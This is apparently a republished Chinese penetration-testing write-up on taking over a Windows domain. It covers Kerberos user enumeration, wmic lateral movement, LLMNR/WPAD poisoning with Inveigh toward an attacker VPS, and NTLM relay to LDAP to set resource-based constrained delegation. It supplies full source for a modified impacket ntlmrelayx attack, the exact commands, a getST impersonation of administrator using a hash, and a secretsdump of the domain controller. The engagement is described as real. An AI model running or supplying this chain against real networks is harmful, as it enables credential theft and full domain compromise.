您好,登錄后才能下訂單哦!
這篇文章主要介紹“怎么利用中繼和委派”,在日常操作中,相信很多人在怎么利用中繼和委派問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”怎么利用中繼和委派”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
通過 VPN 撥入內(nèi)網(wǎng),根據(jù)下發(fā)路由和前期的探測發(fā)現(xiàn)目標內(nèi)網(wǎng)存在 10.10.1.0/24 、10.10.2.0/24 兩個活躍段。10.10.1.88 為域控制器。
根據(jù)前期的信息收集,活躍段中并沒有什么可以直接利用的點,整理手上的已有信息。目標內(nèi)網(wǎng)的機器主機名均為 ATTACK-TONY-PC ,猜測中間的字符串為用戶名,使用 Kerberos pre-auth 的特性驗證了我們的猜測,并收集所有主機名和 VPN 密碼做組合成功枚舉出了一組口令。具體用到的工具參考 滲透技巧——通過Kerberos pre-auth進行用戶枚舉和口令爆破
根據(jù)以往的經(jīng)驗,這種以用戶名為主機名的域,大概率會把域用戶添加到本地管理員組,找到用戶對應的機器,直接 wmic 試一下
wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx os get name
果然正確的返回的操作系統(tǒng)信息。繼續(xù)通過 wmic 獲取機器上的進程,
wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx process get name
根據(jù)機器上的防護軟件進行相應的免殺,落地二進制文件,上線到 CS。到此,我們獲取到了域內(nèi)的一個落腳點。不幸的是,這臺機器的主人貌似這是個邊緣人員,翻遍機器也沒有找到對我們用幫助的信息。本機的 500 用戶為空密碼。查看 LDAP 中的信息,幾乎整個域內(nèi)機器均為 win10,有少量幾臺 server 2016,當前我們處在 10.10.1.96,域管的位置在 10.10.2.66。繼續(xù)查看 LDAP 中的信息,其中有一個我們比較關注的點:大多數(shù)機器mS-DS-CreatorSID
都是對應用戶的 SID,少部分機器的為mS-DS-CreatorSID
同一用戶的 SID (網(wǎng)絡管理員)。也就是說域內(nèi)機器基本都是是用戶自己拉入域的,域用戶對他拉入的機器用戶有WriteProperty
權限,可以操作機器用戶的msDS-AllowedToActOnBehalfOfOtherIdentity
屬性。如果我們有了用戶的權限,就滿足了2個利用基于資源的約束委派的條件
能夠修改
msDS-AllowedToActOnBehalfOfOtherIdentity
屬性
有一個機器賬戶(這里說法其實不太準確,應該是需要一個具有SPN的賬戶,更詳細的說是需要一個賬戶的TGT就可以,機器賬戶滿足以上條件)
機器賬戶我們可以使用之前獲取到的機器ATTACK-TONY-PC$
,那用戶權限又該從哪里獲取呢?
在開始前讓我們對涉及到的知識點做一個簡單的說明。(這里只是簡單的提一下,想要完全搞明白還需要自行深入學習各個知識點)
WPAD
WPAD(Web Proxy Auto-Discovery Protocol)
是Web
代理自動發(fā)現(xiàn)協(xié)議的簡稱,該協(xié)議的功能是可以使局域網(wǎng)中用戶的瀏覽器可以自動發(fā)現(xiàn)內(nèi)網(wǎng)中的代理服務器,并使用已發(fā)現(xiàn)的代理服務器連接互聯(lián)網(wǎng)或者企業(yè)內(nèi)網(wǎng)。當系統(tǒng)開啟了代理自動發(fā)現(xiàn)功能后,用戶使用瀏覽器上網(wǎng)時,瀏覽器就會在當前局域網(wǎng)中自動查找代理服務器,如果找到了代理服務器,則會從代理服務器中下載一個名為PAC(Proxy Auto-Config)
的配置文件。該文件中定義了用戶在訪問一個 URL 時所應該使用的代理服務器。瀏覽器會下載并解析該文件,并將相應的代理服務器設置到用戶的瀏覽器中。在請求WPAD
的過程中,如果服務端要求401
認證,部分瀏覽器和應用將會自動用當前用戶憑證進行認證。
LLMNR,NBT-NS
LLMNR 和 NBT-NS 均為名稱解析機制中用到的協(xié)議,在windows名稱解析過程中,大致的順序為
DNS -> LLMNR -> NetBIOS
。簡單的說DNS
協(xié)議解析不到的地址,windows
則會在當前網(wǎng)段域子網(wǎng)域發(fā)送廣播(LLMNR,NetBIOS)
來請求地址解析,如果我們和目標機器在同一子網(wǎng)域則可以回復廣播,欺騙地址解析。
NTLM Ralay
NTLM Relay
基于資源的約束委派
Windows Server 2012中引入了基于資源的約束委派?;谫Y源的約束委派允許資源配置受信任的帳戶委派給他們?;谫Y源的約束委派將委派的控制權交給擁有被訪問資源的管理員。
域滲透——基于資源的約束委派利用
明白了上面這些知識后,我們就可以開始進行攻擊了,攻擊流程為:在當前網(wǎng)段進行投毒,通過WPAD
欺騙,讓用戶來向我們進行NTLM
認證,再將認證請求中繼到LDAP
,因為用戶可以修改他拉入的機器的msDS-AllowedToActOnBehalfOfOtherIdentity
屬性,我們對該屬性進行修以配置基于資源的約束委派,來拿到其主機的權限。
impacket 目前只看到有從機器用戶中繼修改基于資源的約束委派的功能,對于我們這個攻擊流程,需要稍微修改一下。為了方便某些同學調(diào)試,我把修改過程放在這里,不想看可以直接跳過,文末有修改打包好的 impacket。
/impacket/examples/ntlmrelayx.py
中
添加options.user_delegate_access
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid, options.user_delegate_access)
在參數(shù)處理的地方 添加
ldapoptions.add_argument('--user-delegate-access', action='store_true', required=False, help='Delegate access on relayed user account to the specified account')
/impacket/impacket/examples/ntlmrelayx/utils/config.py 中
修改函數(shù)setLDAPOptions
,添加userdelegateaccess
def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, sid, userdelegateaccess):
self.dumpdomain = dumpdomain
self.addda = addda
self.aclattack = aclattack
self.validateprivs = validateprivs
self.escalateuser = escalateuser
self.addcomputer = addcomputer
self.delegateaccess = delegateaccess
self.dumplaps = dumplaps
self.dumpgmsa = dumpgmsa
self.sid = sid
self.userdelegateaccess = userdelegateaccess
/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py
中
添加全局變量delegatePerformedUser
在class LDAPAttack(ProtocolAttack):
中 添加如下代碼
def MFdelegateAttack(self, usersam, targetsam, domainDumper, sid, ssid):
global delegatePerformedUser
if not usersam:
usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
self.config.escalateuser = usersam
if not sid:
# Get escalate user sid
result = self.getUserInfo(domainDumper, usersam)
if not result:
LOG.error('User to escalate does not exist!')
return
escalate_sid = str(result[1]) # sid
else:
escalate_sid = usersam
AttackList = self.getCreatorSID(domainDumper, ssid);
# LOG.debug(AttackList)
# LOG.debug(escalate_sid)
if AttackList is False:
LOG.info('Cannot find a computer with mS-DS-CreatorSID %s' % ssid)
return
LOG.info("Try to modifiy delegation rights")
for Attack in AttackList:
self.addDelegation(Attack[0], escalate_sid)
delegatePerformedUser.append(targetsam)
def addDelegation(self,target_dn,escalate_sid):
self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity','name'])
targetuser = None
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
LOG.error('Could not query target user properties')
return False
try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
LOG.debug('Currently allowed sids:')
for ace in sd['Dacl'].aces:
LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())
except IndexError:
sd = create_empty_sd()
sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.client.result['result'] == 0:
LOG.info('Delegation rights modified succesfully!')
LOG.info('%s can now impersonate users on %s via S4U2Proxy', self.config.escalateuser, targetuser['attributes']['name'])
return True
else:
if self.client.result['result'] == 50:
LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
else:
LOG.error('The server returned an error: %s', self.client.result['message'])
return False
def userdelegateAttack(self, usersam, targetsam, domainDumper, sid):
global delegatePerformedUser
if targetsam in delegatePerformedUser:
LOG.info('Delegate attack already performed for this User: %s, skipping' % targetsam)
return
self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(targetsam), attributes=['objectSid', 'primaryGroupId'])
user = self.client.entries[0]
usersid = user['objectSid'].value
tmp_flag = self.getCreatorSID(domainDumper, usersid)
LOG.info('Try to find the computer with mS-DS-CreatorSID %s' % usersid)
if tmp_flag is not False:
for x in tmp_flag:
LOG.info('DN : %s SID : %s' % (x[0], x[1]))
self.MFdelegateAttack(usersam, targetsam, domainDumper, sid, usersid)
在run
函數(shù)中添加如下代碼
if self.config.userdelegateaccess:
self.userdelegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
return
重新安裝impacket
pip3 uninstall impacket;pip3 install .
用法
sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access
sudo python3 ./examples/ntlmrelayx.py -t ldaps://192.168.1.63 --user-delegate-access
為了避免不必要的意外,用本地測試環(huán)境來代替
name | note |
---|---|
Administer | 域管理員 |
rabbit | 普通域用戶 |
test | 普通域用戶 |
name | os | ip | note |
---|---|---|---|
DC | server2016 | 192.168.1.63 | 域控制器 |
WIN10 | windows10 | 192.168.1.59 | 個人PC,模擬我們在域內(nèi)拿下的那臺機器 |
WIN10-1 | windows10 | 192.168.1.78 | 個人PC,由用戶 ATTACT\TEST 拉入域,登錄用戶 ATTACT\TEST |
WIN10-2 | windows10 | 192.168.1.77 | 個人PC,由用戶 ATTACT\TEST 拉入域,登錄用戶 ATTACT\TEST |
kali | kali | 192.168.1.79 | 模擬外網(wǎng) vps |
首先我們在WIN10
這臺機器上開啟Inveigh
來進行LLMNR/NBNS
協(xié)議欺騙,這里我們只需要投毒的功能,所以只用C#
版本的Inveigh
就可以了,還可以配合cs
的execute-assembly
來執(zhí)行以規(guī)避殺軟。欺騙的地址指向外網(wǎng)的vps
,也就是當前環(huán)境中的kali
execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIP 192.168.1.79
kali
開啟 ntlmrelay.py 進行監(jiān)聽,指定相關攻擊的參數(shù)
sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access -debug
這里以chrome
為例,當用戶ATTACK\TEST
點擊chrome
時,則會觸發(fā)我們的攻擊鏈,接管機器權限。
a03bb9d7f80559c87765c72cb3d53d1d.png
可以看到,我們以成功配置了WIN10$
到WIN10-1
和WIN10-2
的基于資源的約束委派。接下來就可以申請高權的票據(jù)來訪問對應的服務了。
python3 getST.py -dc-ip 192.168.1.63 ATTACK/WIN10\$ -hashes aad3b435b51404eeaad3b435b51404ee:0c5082ca74c579d34d4de279a84ee44f -spn host/WIN10-2.attack.com -impersonate administrator
注入票據(jù)到當前上下文,并嘗試訪問,如圖所示,成功獲取到機器WIN10-2
的權限。
具體什么服務需要使用什么票據(jù),參考這里 How Attackers Use Kerberos Silver Tickets to Exploit Systems
Service Type | Service Silver Tickets |
---|---|
WMI | HOST,RPCSS |
PowerShell Remoting | HOST,HTTP(WSMAN,RPCSS) |
WinRM | HOST,HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations including Mimikatz DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS,LDAP,CIFS |
舉個例子:
以上就是整個攻擊鏈?;氐綄崙?zhàn)中,實戰(zhàn)中,我通過如上攻擊鏈定向(Inveigh 指定 SpooferIPsReply 參數(shù)對特定ip進行欺騙)的拿到了幾個開發(fā)權限,并從其中一臺機器上獲取了一臺 10.10.2.0/24 段上的機器權限,這樣我們就移動到與域管同一網(wǎng)段下,那我們可以繼續(xù)中繼域管的憑證到 LDAP 去修改添加特權到任意用戶。Inveigh
指定 域管的ip。開啟 ntlmrelay 監(jiān)聽,指定攻擊 ldap 并且指定用戶。
execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIPsReply 10.10.2.66 -SpooferIP VPS-IP
proxychains python3 ./examples/ntlmrelayx.py -t ldap://192.168.98.10 --escalate-user=rabbit
兩分鐘以后,域管請求了我們的 WPAD ,成功中繼到 ldap 并且賦予了我們指定用戶特權。(過程截圖仍由測試環(huán)境代替)
接下來就是 secretsdump.py dump 域管 hash,接管域控了。至此,拿到整個域權限。
到此,關于“怎么利用中繼和委派”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續(xù)學習更多相關知識,請繼續(xù)關注億速云網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。